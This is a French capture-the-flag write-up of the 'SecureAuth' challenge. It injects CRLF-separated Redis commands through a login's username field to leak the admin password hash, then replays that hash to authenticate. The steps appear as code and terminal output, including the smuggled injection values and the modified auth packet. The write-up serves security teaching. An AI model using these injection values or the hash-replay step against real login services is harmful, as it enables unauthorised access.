Zenk - Security

Enoncé :

  "There is a building. Inside this building there is a level where no elevator can go, and no stair can reach. This level is filled with doors. These doors lead to many places. Hidden places. But one door is special. One door leads to the source." (The Keymaker)
  Find the key. Open the door.
  Static client @ http://static.challs.nuitduhack.com/SecureAuthClient.tar.gz
  Score
      350
  Link
      secureauth.challs.nuitduhack.com:4241 

L'archive contient le script Python suivant :

  import socket
  from hashlib import sha256
  class SecureConnect_Client():
      def __init__(self):
          self.sock = None
          self.username = None
          self.password = None
      def connect(self):
          self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          self.sock.connect(("151.80.18.93", 4241))
      def login(self, username, password):
          self.username = username
          self.password = password
          challenge = self.get_challenge()
          authpacket = self.process_authpacket(username, password, challenge)
          print "[~] Sending auth packet..."
          self.sock.sendall(authpacket)
      def get_challenge(self):
          data = self.sock.recv(1024)
          if data[:9] == "CHALLENGE":
              print "[~] Server sent challenge : %s !" % data[10:-1]
              return data[10:-1]
          raise Exception("Bad challenge...")
      def process_authpacket(self, username, authtoken, challenge):
          packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())
          print "[+] Auth data : %s" % packet
          return packet
      def get_response(self):
          print self.sock.recv(1024)
          print self.sock.recv(1024)
      def close(self):
          self.sock.close()
  if __name__ == "__main__":
      scc = SecureConnect_Client()
      scc.connect()
      scc.login("username", "password")
      scc.get_response()
      scc.close()

Voici ce qu'on obtient quand on l'exécute :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : gOg0gySNyDbKCKD5oT6SLEdG4fEgkNXntk5uQ1m1XtZzIvMT62bcqMgmB6ei5HVI !
  [+] Auth data : AUTH username|7b98c028fc42ee7bc830948b036571f8327279b6929b4f598891ed608edbfbd9
  [~] Sending auth packet...
  [!] Authentification Error : Invalid username.
  [-] Bad password or authentification error... !

En remplaçant username par admin, on obtient un message différent, qui nous semble indiquer que l'utilisateur Administrator existe :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : GRlJD0cTH7RQFPQ5TUNQRQZVmLrxejFNsDPYFF0LWZKvBJLvFwAvN0YDPvU9AMGV !
  [+] Auth data : AUTH admin|febb7f8cec097ba5636da95ded1b019030483436385584297bbf64e1bf828acb
  [~] Sending auth packet...
  [+] Welcome Administrator we are verifying your password...
  [-] Bad password or authentification error... !

En essayant de jouer avec la valeur du username, en mettant par exemple username”, on obtient le message suivant :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : uJ2A8UE1WMwYCgWDmOMZSVirPWQoxhWAVeECAwWOVUxXD9q6qqvqGPSpolKr5KX1 !
  [+] Auth data : AUTH username'|a932aed6531ebf37074484e10611499007dadd6c42f69649a242302c09245792
  [~] Sending auth packet...
  [!] Authentification Error : Valid response code but no user data received : -ERR Protocol error: unbalanced quotes in request
  [-] Bad password or authentification error... !

L'erreur unbalanced quotes in request semble provenir d'un serveur Redis, un moteur NoSQL, plus particulièrement dans le fichier networking.c :

  http://download.redis.io/redis-stable/src/networking.c

En remplaçant l'username par admin\x0A\x0D afin d'essayer de terminer la commande, on obtient :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : OFJUOFLbDdR49FHeNMUH4FX7VFIUPxiASDKIaXpZvtIELU3Yo333ICcUmIZFfVWB !
  [+] Auth data : AUTH username
      
      |e72fd1858578774bfbee00196992db55f7697833746053a2390a73f4616c60da
  [~] Sending auth packet...
  [+] Welcome -ERR unknown command ':name' we are verifying your password...
  [-] Bad password or authentification error... !

On note au passage le préfixe :name qui a tenté d'être interprêté comme une deuxième commande.

En essayant d'injecter des commandes (http://redis.io/commands), par exemple INFO en mettant dans l'username la valeur admin\x0A\x0DINFO\x0A\x0D, le serveur nous renvoie :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : JrLFTYYrDxYibypIBzkdmALAzDCoYe9olBMEZ2OXEDuqsrFFISLzLhWMkeFOdRCB !
  [+] Auth data : AUTH admin
  INFO
  |30247cdea2397657332d6f35b4c2a4340b83e3a842a17119704f31185a41cbe3
  [~] Sending auth packet...
  [+] Welcome -ERR unknown command 'INFO' we are verifying your password...
  
  [-] Bad password or authentification error... !

La commande INFO n'est pas reconnue, et après de nombres tests, on remarque qu'un grand nombre de commandes sont filtrées, mis à part la commande GET.

On suppose donc qu'elle est utilisée pour récupérer le username et password dans la base NoSQL.

Avec un peu d'imagination, on tente de recréer les requêtes qui sont faites pour récupérer le login et mot de passe côté serveur :

  username = GET <user>:name
  password = GET <user>:password

On essaye donc d'injecter admin:password\x0A\x0D dans l'username, ce qui nous donne :

  username = GET admin:password\x0A\x0D:name (le :name n'est pas interprêté)
  password = GET admin:password\x0A\x0D:password (le :password n'est pas interprêté)

Le serveur nous renvoie :

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : DsHn1UJH7LjPSpVOIuZwh7QUgEZ1qGXnK8sHxBYnSTsaWNdVYDvHG5UCPTrvL2AJ !
  [+] Auth data : AUTH admin:password
  |606611cc808eabd5e38bed8e21360b52127f3e2cecbf02413c3da90fa43c71a3
  [~] Sending auth packet...
  [+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...
  
  [-] Bad password or authentification error... !

Comme attendu, le serveur affiche l'username que nous avons remplacé par son password. Nous obtenons donc le sha256(admin_password) qui est 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529.

Pour rappel, le packet envoyé au serveur contenant le password est formé ainsi :

  packet = "AUTH %s|%s" % (username, sha256(sha256(authtoken).hexdigest() + challenge).hexdigest())

authtoken est le password, et challenge est une chaîne aléatoire envoyée à chaque connexion par le serveur.

Maintenant que l'on connait le sha256(authtoken) récupéré précédemment, on remplace donc cette ligne par :

  packet = "AUTH %s|%s" % (username, sha256("837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529" + challenge).hexdigest())

On exécute à nouveau le script …

  spl3en@box:~$ python SecureAuthClient.py 
  [~] Server sent challenge : elQQpNHPDlDk1FO9RUiqDfUyUBRpFGMJ5NuBkGTGnGVYW9SCRluSYlcNQnJYkSHP !
  [+] Auth data : AUTH admin:password
  |8baf1cc43bbe6316ed5959cd8efd2fd8f23d9bae441d4a8134277cd973fcaec4
  [~] Sending auth packet...
  [+] Welcome 837a135ad3ccb1978f169aa62a62a028b76ec42b2284791bd4703421ec050529 we are verifying your password...
  
  [+] Congrats. The flag is : *INSERT_FUNNY_QUOTE_HERE*